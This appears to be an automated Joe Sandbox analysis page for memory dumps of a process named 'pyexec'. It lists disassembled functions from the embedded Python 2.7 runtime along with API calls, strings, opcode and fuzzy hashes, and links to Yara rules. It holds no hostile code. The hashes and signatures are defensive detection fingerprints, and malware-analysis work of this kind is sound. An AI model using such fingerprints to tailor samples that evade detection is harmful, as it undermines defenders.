Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ErrorFatalMallocObject_
String ID: GC object already tracked$P&0l
API String ID: 2067638752-2850754575
Opcode ID: 3d3a56a3bd950824a18bafc4020b26d8b7c968b706170a731442b880ae998623
Instruction ID: 2304e5941f82ed76a1f64500fc881e3a9b869acdfffb60848dc73abc22d055af
Opcode Fuzzy Hash: 3d3a56a3bd950824a18bafc4020b26d8b7c968b706170a731442b880ae998623
Instruction Fuzzy Hash: E011BFB1A017098FDB248F5AD815456F7B4FB9A324B108A6EDC298BB50E770E451CBC0

Function 6C0A26B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,s#|z:readbuffer_encode,?,?,?), ref: 6C0A26D2
PyString_FromStringAndSize.PYTHON27(?,?), ref: 6C0A26EE

Strings

s#|z:readbuffer_encode, xrefs: 6C0A26C5

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Size$Arg_FromParseStringString_Tuple_
String ID: s#|z:readbuffer_encode
API String ID: 2714287502-3227709264
Opcode ID: ecb27675d840ad78c42f3c46ff8f96f3f9dfa944cdc611d37024f7a0206b2ea3
Instruction ID: 2c9b493eff83266f663751eb2b1b1afbd8c150655f4fe55a714f24ed362373b5
Opcode Fuzzy Hash: ecb27675d840ad78c42f3c46ff8f96f3f9dfa944cdc611d37024f7a0206b2ea3
Instruction Fuzzy Hash: 730192B6A001086BCB10DADAAC45EDA77FCDB85228F0442A5FC1CC7740E6349A1983E1

Function 6C156F00 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

_PyObject_GC_Malloc.PYTHON27(00000018), ref: 6C156F0E
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C156F50

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

Strings

P&0l, xrefs: 6C156F65, 6C156F6E, 6C156F76
GC object already tracked, xrefs: 6C156F4B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DebugOutputString$__iob_func$ErrorFatalMallocObject_abortfflushfprintf
String ID: GC object already tracked$P&0l
API String ID: 872466363-2850754575
Opcode ID: a6f579e1ee83fdd6b04c099b62739ddfb982db35a94a0f0cef65f0e873e4725c
Instruction ID: 14ca7214dc144ec61f32dbf18c549a548a5dca4d9b28e951f6acfe0d2a50f5da
Opcode Fuzzy Hash: a6f579e1ee83fdd6b04c099b62739ddfb982db35a94a0f0cef65f0e873e4725c
Instruction Fuzzy Hash: 871190B1A007058FC724CF29D844856F7F4FB8532471087AAD87997B91D771E856CBC1

Function 6C0A2730 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,t#|z:charbuffer_encode,?,?,?), ref: 6C0A2752
PyString_FromStringAndSize.PYTHON27(?,?), ref: 6C0A276E

Strings

t#|z:charbuffer_encode, xrefs: 6C0A2745

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Size$Arg_FromParseStringString_Tuple_
String ID: t#|z:charbuffer_encode
API String ID: 2714287502-2725689005
Opcode ID: 4e330edd8bac5b510b84ee0799e1495327d8583ede12eec57b538436694e52f4
Instruction ID: 094bb081ba4fd13e81e8a55ac0968e3d5239e9113cd154d12b42a48a0d5368d4
Opcode Fuzzy Hash: 4e330edd8bac5b510b84ee0799e1495327d8583ede12eec57b538436694e52f4
Instruction Fuzzy Hash: AB019EB6A001096BCB10DADAAC45EDE77FCDB95229F0442A5FC1CC3B41E6319B1A83E1

Function 6C0AD0F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(-Infinity,?,?,?,?,6C0AD862,FFFFFFFD,0000003A,?,?), ref: 6C0AD0F9
PyString_InternInPlace.PYTHON27(?,?), ref: 6C0AD10C
PyObject_CallFunctionObjArgs.PYTHON27(?,?,00000000,?,?,?), ref: 6C0AD12E

Strings

-Infinity, xrefs: 6C0AD0F6

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String_$ArgsCallFromFunctionInternObject_PlaceString
String ID: -Infinity
API String ID: 4070845078-3424019370
Opcode ID: 2b0c8ebd2fafefe24145040cdd019c3d98813896385f9fe7694ea595a8c3a5a1
Instruction ID: 69bc37dbca178050512ea228eeef7fd18fba821c53fdb36839b0902b0ee88804
Opcode Fuzzy Hash: 2b0c8ebd2fafefe24145040cdd019c3d98813896385f9fe7694ea595a8c3a5a1
Instruction Fuzzy Hash: 2701A7B2A012046BD710DF99EC41A9B73E8EF45338B140369ED1C87741E631EE1587D1

Function 6C12B550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(?), ref: 6C12B564
PyObject_DelItem.PYTHON27(?,00000000), ref: 6C12B57B
PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12B5B3

Strings

null argument to internal routine, xrefs: 6C12B5AD

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$Err_FromItemObject_String_
String ID: null argument to internal routine
API String ID: 1374695092-2212441169
Opcode ID: 93d84afc88e8c63be2565f71f89916e6b6f9081189e409d861a07401930f9065
Instruction ID: 9d7ca3650cd44ef804616e18a64b3ca7272593dc48c7bda727eeb7d139ca44cc
Opcode Fuzzy Hash: 93d84afc88e8c63be2565f71f89916e6b6f9081189e409d861a07401930f9065
Instruction Fuzzy Hash: AB01F97BB00504D7C7005A6EEC44A8633A99F96378B140725F92D8FBC0E739E9C58AE0

Function 6C1D1D00 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 49COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Python\pystrtod.c,000004D5), ref: 6C1D1DE4

Strings

%s:%d: bad argument to internal function, xrefs: 6C1D1DDE
..\Python\pystrtod.c, xrefs: 6C1D1DD9
e, xrefs: 6C1D1D32

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Python\pystrtod.c$e
API String ID: 376477240-3173659257
Opcode ID: dd24942d68bc35fbcf0bbcc016a7f7fd95283f0ae11097ede348fca1a559a30a
Instruction ID: 9c6fa31bc0a002002a8fd572a13316da59be99e9a69b85d7501cfb2ac255606c
Opcode Fuzzy Hash: dd24942d68bc35fbcf0bbcc016a7f7fd95283f0ae11097ede348fca1a559a30a
Instruction Fuzzy Hash: F60147A39105685BC700ADA8CC46DE737EC9B09224F054B85FC54E3381DB38DD6147E2

Function 6C12EF60 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12EF81
PyString_FromString.PYTHON27(?), ref: 6C12EF90
PyObject_SetItem.PYTHON27(?,00000000,?), ref: 6C12EFAE

Strings

null argument to internal routine, xrefs: 6C12EF7B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$Err_FromItemObject_String_
String ID: null argument to internal routine
API String ID: 1374695092-2212441169
Opcode ID: d226654ce3ff34613d189a97716aaa5a7d9b9beb0bd7e0b4f8dc348c6992d06c
Instruction ID: 2d5c53c3b7f5f0747104678e561b7a5b491eb677605d084bfac811da6587b30b
Opcode Fuzzy Hash: d226654ce3ff34613d189a97716aaa5a7d9b9beb0bd7e0b4f8dc348c6992d06c
Instruction Fuzzy Hash: FC01F97AA0011457CB20DABAAC04D8733A99F81379B144764FC2C8BBC0E739E995C7D0

Function 6C18A8E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

_PyObject_CallFunction_SizeT.PYTHON27(6C2E5F20,su#nns,?,00000000,00000000,6C157763,6C157763,000000FF,000000FF,?,6C18A9E5,00000000,00000000,?,00000000,?), ref: 6C18A904

Part of subcall function 6C12F2F0: PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12F317

PyUnicodeEncodeError_SetReason.PYTHON27(000000FF,000000FF,000000FF,?,6C18A9E5,00000000,00000000,?,00000000,?,?,6C157763,?,6C18D75E,6C157763,6C157763), ref: 6C18A91C

Strings

_.lsys.float_infoA structseq holding information about the float type. It contains low levelinformation about the precision and internal representation. Please studyyour system's :file:`float.h` for more information., xrefs: 6C18A8F7
su#nns, xrefs: 6C18A8FE

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: CallEncodeErr_Error_Function_Object_ReasonSizeStringUnicode
String ID: _.lsys.float_infoA structseq holding information about the float type. It contains low levelinformation about the precision and internal representation. Please studyyour system's :file:`float.h` for more information.$su#nns
API String ID: 334710814-3445968137
Opcode ID: ed1dd299c36fcc488369a9b8f011102ac7756555226503b18843d0b81da10a3c
Instruction ID: 27f1d7ec36e97d2cb5fe4fba67e49cae302724cd268b8ed4e01ea1c290dc0ba6
Opcode Fuzzy Hash: ed1dd299c36fcc488369a9b8f011102ac7756555226503b18843d0b81da10a3c
Instruction Fuzzy Hash: 87014FB5909201AFE754CF9ADC40D5277E8AF99324B21461DF898C7790E731E841CF60

Function 6C0AA5B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

isdigit.MSVCR90 ref: 6C0AA5D4
malloc.MSVCR90 ref: 6C0AA5F9
memmove.MSVCR90(00000000,$Revision$,00000000), ref: 6C0AA60B

Strings

$Revision$, xrefs: 6C0AA5B5, 6C0AA5BC, 6C0AA609

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: isdigitmallocmemmove
String ID: $Revision$
API String ID: 1441860961-3178937091
Opcode ID: 85144beb233c67d07c4a14b3f9e1d1c7bd1ac7ead48a53ee05c9de765c7f81e8
Instruction ID: bf5fdf0cf9d8e15f4c66e9be027ded9a4d4cfb54b74e23bc3cfb2f195b20c7eb
Opcode Fuzzy Hash: 85144beb233c67d07c4a14b3f9e1d1c7bd1ac7ead48a53ee05c9de765c7f81e8
Instruction Fuzzy Hash: 1501F4215092835EEB210AF54C80BA67FF9AB4B11CF380169DCD1C3583D626D5A7DBA8

Function 6C158F60 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

_PyObject_GC_Malloc.PYTHON27(00000010), ref: 6C158F6E
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C158FA7

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

Strings

P&0l, xrefs: 6C158FBC, 6C158FC5, 6C158FCD
GC object already tracked, xrefs: 6C158FA2

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DebugOutputString$__iob_func$ErrorFatalMallocObject_abortfflushfprintf
String ID: GC object already tracked$P&0l
API String ID: 872466363-2850754575
Opcode ID: 820dca311b6fa3bc61093b9a28742efd7b954bbc047fbf87cadc9b563a0893f3
Instruction ID: f8b10edc28b934d0baf32d6f8941d131ba454f148a70b2789ec6e806f7464a25
Opcode Fuzzy Hash: 820dca311b6fa3bc61093b9a28742efd7b954bbc047fbf87cadc9b563a0893f3
Instruction Fuzzy Hash: 0D01F1B2601B198FC720CF19D905456F7F8FB4A320B1086AAEC798B791D3B1E496CBC0

Function 6C139640 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

_PyObject_GC_Malloc.PYTHON27(0000000C), ref: 6C13964E
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C139683

Strings

P&0l, xrefs: 6C139698, 6C1396A1, 6C1396A9
GC object already tracked, xrefs: 6C13967E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ErrorFatalMallocObject_
String ID: GC object already tracked$P&0l
API String ID: 2067638752-2850754575
Opcode ID: 6ede612f8d6a5624d5551c469e38e3607e65a3e8d0980132fdb8a3dca993046f
Instruction ID: 97c2805ca6d83057bac77da1aaf0dcda3af85ba75031c37acf49e22686c4f8d4
Opcode Fuzzy Hash: 6ede612f8d6a5624d5551c469e38e3607e65a3e8d0980132fdb8a3dca993046f
Instruction Fuzzy Hash: 4F01D4B27016168FC7108F1DD905456B7B8EB85324B20476EEC3887B80EB71E456CBC0

Function 6C187800 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\unicodeobject.c,00000457,00000000,?,?,6C0AFC12,?,00000000,?), ref: 6C187824
memcpy.MSVCR90(?,?,?,00000000,?,?,6C0AFC12,?,00000000,?), ref: 6C18784E

Strings

%s:%d: bad argument to internal function, xrefs: 6C18781E
..\Objects\unicodeobject.c, xrefs: 6C187819

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Formatmemcpy
String ID: %s:%d: bad argument to internal function$..\Objects\unicodeobject.c
API String ID: 347768829-2140310296
Opcode ID: de4d010e3c7797c30963dbbf7b6a17b67c5e0c7368d68b727fdb22153fbd26aa
Instruction ID: 01ee6c212b56e36b61b06e87bb1c426ea67b4f02d2ba00b1ae74d776a0673187
Opcode Fuzzy Hash: de4d010e3c7797c30963dbbf7b6a17b67c5e0c7368d68b727fdb22153fbd26aa
Instruction Fuzzy Hash: 7BF0F472B049056BC600DEADDC40C95B368EB85238B408717FD38D3780EB60FC65CAD0

Function 6C0AA0C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,ss:addinfo,?,?), ref: 6C0AA0DA
PyErr_SetString.PYTHON27(?,profiler already closed), ref: 6C0AA0FC

Strings

profiler already closed, xrefs: 6C0AA0F6
ss:addinfo, xrefs: 6C0AA0D2

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_Err_ParseStringTuple
String ID: profiler already closed$ss:addinfo
API String ID: 385655187-3850335802
Opcode ID: 1f5b0e51182b0ced6dc40e0e109e2a6927eb94f534e2f87ad0140ae675d2001c
Instruction ID: d7c0bfbfba53b7809652064cb8198929fa16e16c675bb2aedee009ea9cc2a525
Opcode Fuzzy Hash: 1f5b0e51182b0ced6dc40e0e109e2a6927eb94f534e2f87ad0140ae675d2001c
Instruction Fuzzy Hash: 1BF0A4B6A002187B8B04DAD8DC45DEA73FCDB48609B144259EC0897B41F631AA158BD5

Function 6C1B5130 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

PyCallable_Check.PYTHON27(6C1B5CA0,00000000,00000000,?,6C1B5CA0), ref: 6C1B5156
PyErr_SetString.PYTHON27(6C2E48B0,handler must be callable,00000000), ref: 6C1B516E

Part of subcall function 6C1B5BD0: Py_FatalError.PYTHON27(GC object already tracked), ref: 6C1B5C28
Part of subcall function 6C1B5BD0: PyDict_New.PYTHON27 ref: 6C1B5C57
Part of subcall function 6C1B5BD0: PyDict_New.PYTHON27 ref: 6C1B5C5F
Part of subcall function 6C1B5BD0: PyCFunction_NewEx.PYTHON27(6C2C6BFC,00000000,00000000), ref: 6C1B5C78
Part of subcall function 6C1B5BD0: Py_FatalError.PYTHON27(can't initialize codec error registry), ref: 6C1B5C8B
Part of subcall function 6C1B5BD0: PyCodec_RegisterError.PYTHON27(strict,00000000), ref: 6C1B5C9B
Part of subcall function 6C1B5BD0: Py_FatalError.PYTHON27(can't initialize codec error registry), ref: 6C1B5CBF
